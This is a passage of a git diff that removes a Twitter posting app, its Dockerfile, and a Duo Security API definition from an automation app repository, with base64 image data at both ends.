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 diff --git a/twitter/1.0.0/requirements.txt b/twitter/1.0.0/requirements.txt deleted file mode 100644 index 2bb51887..00000000 --- a/twitter/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -requests==2.25.1 -twython==3.9.1 diff --git a/twitter/1.0.0/src/app.py b/twitter/1.0.0/src/app.py deleted file mode 100644 index 1b533d5f..00000000 --- a/twitter/1.0.0/src/app.py +++ /dev/null @@ -1,45 +0,0 @@ -import socket -import asyncio -import time -import random -import json -from twython import Twython - -from walkoff_app_sdk.app_base import AppBase - -class Twitter(AppBase): - __version__ = "1.0.0" - app_name = "python_playground" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def send_tweet(self, consumer_key, consumer_secret, access_token, access_token_secret, message): - twitter = Twython( - consumer_key, - consumer_secret, - access_token, - access_token_secret - ) - - tweet = twitter.update_status(status=message) - return json.dumps(tweet) - - def delete_tweet(self, consumer_key, consumer_secret, access_token, access_token_secret, tweet_id): - twitter = Twython( - consumer_key, - consumer_secret, - access_token, - access_token_secret - ) - - return twitter.destroy_status(id=tweet_id) - -if __name__ == "__main__": - Twitter.run() diff --git a/unsupported/DuoSecurity/1.0.0/Dockerfile b/unsupported/DuoSecurity/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/unsupported/DuoSecurity/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/unsupported/DuoSecurity/1.0.0/api.yaml b/unsupported/DuoSecurity/1.0.0/api.yaml deleted file mode 100644 index d5367c0d..00000000 --- a/unsupported/DuoSecurity/1.0.0/api.yaml +++ /dev/null @@ -1,165 +0,0 @@ -app_version: 1.0.0 -name: DuoSecurity -description: Easy, Flexible Cybersecurity Solutions for Everyone -contact_info: - name: "@BhavikPrajapati" - url: https://shuffler.io - email: bhavikp@infopercept.com -tags: - - Working With Duo Security Rest APIs -categories: - - Testing -authentication: - required: true - parameters: - - name: secret_key - description: Secret key of Duo security - example: "*****" - required: true - schema: - type: string - - name: itegration_key - description: Itegration key of Duo security - example: "*****" - required: true - schema: - type: string - - name: api_host - description: base url of Duo security server - example: "https://api-3646f74c.duosecurity.com/" - required: true - schema: - type: string - -actions: - - name: Ping - description: Endpoint to verify that Duo is up before trying to call other Auth API endpoints - returns: - schema: - type: string - - - name: Check - description: Endpoint to verify that the Auth API integration and secret keys are valid, and that the signature is being generated properly - returns: - schema: - type: string - - - name: GetLogo - description: Endpoint provides a programmatic way to retrieve your stored logo. - returns: - schema: - type: string - - - name: EnrollNewUser - description: Endpoint provides a programmatic way to enroll new users with Duo two-factor authentication. It creates the user in Duo and returns a code (as a QR code) that Duo Mobile can scan with its built-in camera. Scanning the QR code adds the user's account to the app so that they receive and respond to Duo Push login requests. - parameters: - - name: username - description: Username for the created user. If not given, a random username will be assigned and returned - required: true - multiline: false - example: "Your Name" - schema: - type: string - returns: - schema: - type: string - - - name: GetEnrollStatus - description: Endpoint to check whether a user has completed enrollment - parameters: - - name: user_id - description: ID of the user - required: true - multiline: false - example: "DU94SWSN4ADHHJHF2HXT" - schema: - type: string - - name: activation_code - description: Activation code, as returned from /enroll - required: true - multiline: false - example: "duo://8LIRa5danrICkhHtkLxi-cKLu2DWzDYCmBwBHY2YzW5ZYnYaRxA" - schema: - type: string - returns: - schema: - type: string - - - name: PreAuthCheck - description: Endpoint determines whether a user is authorized to log in, and (if so) returns the user's available authentication factors. - parameters: - - name: user_id - description: Permanent, unique identifier for the user as generated by Duo upon user creation - required: true - multiline: false - example: "DU94SWSN4ADHHJHF2HXT" - schema: - type: string - - name: username - description: Unique identifier for the user that is commonly specified by your application during user creation (e.g. user@domain.com). This value may also represent a username alias assigned to a user - required: true - multiline: false - example: "abc" - schema: - type: string - returns: - schema: - type: string - - - name: Auth - description: Endpoint performs second-factor authentication for a user by sending a push notification to the user's smartphone app, verifying a passcode, or placing a phone call. It is also used to send the user a new batch of passcodes via SMS. - parameters: - - name: user_id - description: Permanent, unique identifier for the user as generated by Duo upon user creation - required: true - multiline: false - example: "DU94SWSN4ADHHJHF2HXT" - schema: - type: string - - name: username - description: Unique identifier for the user that is commonly specified by your application during user creation (e.g. user@domain.com). This value may also represent a username alias assigned to a user - required: true - multiline: false - example: "abc" - schema: - type: string - - name: factor - description: Factor to use for authentication the following choices are supported auto,push,passcode,sms,phone Also see below for additional parameters that are necessary depending on the factor you specify. - required: true - multiline: false - example: "auto" - schema: - type: string - - name: device - description: ID of the device. This device must have the "push" capability.You may also specify "auto" to use the first of the user's devices with the "push" capability. - required: true - multiline: false - example: "auto" - schema: - type: string - - name: passcode - description: Passcode entered by the user. - required: true - multiline: false - example: "********" - schema: - type: string - returns: - schema: - type: string - - - name: GetAuthStatus - description: Endpoint "long-polls" for the next status update from the authentication process for a given transaction. That is to say, if no status update is available at the time the request is sent, it will wait until there is an update before returning a response. - parameters: - - name: txid - description: The transaction ID of the authentication attempt, as returned by the /auth endpoint. - required: true - multiline: false - example: "45f7c92b-f45f-4862-8545-e0f58e78075a" - schema: - type: string - returns: - schema: - type: string - -large_image: data:image/png;base64,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